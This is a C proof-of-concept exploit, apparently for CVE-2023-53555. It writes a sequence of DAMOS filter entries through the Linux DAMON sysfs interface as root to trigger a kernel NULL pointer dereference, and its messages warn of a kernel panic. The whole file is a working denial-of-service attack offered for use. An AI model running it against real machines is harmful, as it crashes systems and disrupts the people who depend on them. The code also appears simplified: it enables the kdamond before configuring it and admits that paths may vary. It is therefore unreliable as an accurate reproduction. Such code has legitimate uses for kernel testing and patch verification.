// CVE-2023-53555 PoC - Trigger NULL pointer dereference via DAMON sysfs interface
// This PoC demonstrates how to trigger the vulnerability by adding multiple DAMOS filters
// through the sysfs interface, causing uninitialized list field access.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
// Path to DAMON sysfs interface (requires root or appropriate permissions)
#define DAMON_BASE_PATH "/sys/kernel/mm/damon/admin/kdamonds"
// Function to write a string value to a sysfs file
int write_sysfs(const char *path, const char *value) {
int fd = open(path, O_WRONLY);
if (fd < 0) {
fprintf(stderr, "Failed to open %s: %s\n", path, strerror(errno));
return -1;
}
if (write(fd, value, strlen(value)) < 0) {
fprintf(stderr, "Failed to write to %s: %s\n", path, strerror(errno));
close(fd);
return -1;
}
close(fd);
return 0;
}
// Function to trigger the vulnerability by adding multiple DAMOS filters
int trigger_damon_filter_vuln(void) {
char path[512];
int ret;
// Step 1: Initialize a DAMON context (simplified - actual paths may vary)
printf("[*] Setting up DAMON kdamond...\n");
snprintf(path, sizeof(path), "%s/0/state", DAMON_BASE_PATH);
ret = write_sysfs(path, "on");
if (ret < 0) {
// Try alternative path structure
printf("[*] Trying alternative path structure...\n");
}
// Step 2: Add multiple DAMOS filters to trigger uninitialized list access
// The vulnerability is triggered when adding the 2nd or subsequent filter
printf("[*] Adding first DAMOS filter...\n");
snprintf(path, sizeof(path),
"%s/0/contexts/0/schemes/0/filters/0/type", DAMON_BASE_PATH);
write_sysfs(path, "anon");
snprintf(path, sizeof(path),
"%s/0/contexts/0/schemes/0/filters/0/matching", DAMON_BASE_PATH);
write_sysfs(path, "true");
// Step 3: Add a second filter - this triggers the NULL pointer dereference
// because the list field of the first filter was not properly initialized
printf("[*] Adding second DAMOS filter (triggering vulnerability)...\n");
snprintf(path, sizeof(path),
"%s/0/contexts/0/schemes/0/filters/1/type", DAMON_BASE_PATH);
write_sysfs(path, "memcg");
snprintf(path, sizeof(path),
"%s/0/contexts/0/schemes/0/filters/1/matching", DAMON_BASE_PATH);
write_sysfs(path, "true");
printf("[*] Vulnerability triggered - check dmesg for kernel panic\n");
return 0;
}
int main(int argc, char *argv[]) {
printf("CVE-2023-53555 PoC - DAMON filter NULL pointer dereference\n");
printf("WARNING: This may crash your system!\n\n");
if (getuid() != 0) {
fprintf(stderr, "This PoC requires root privileges to access DAMON sysfs\n");
return 1;
}
return trigger_damon_filter_vuln();
}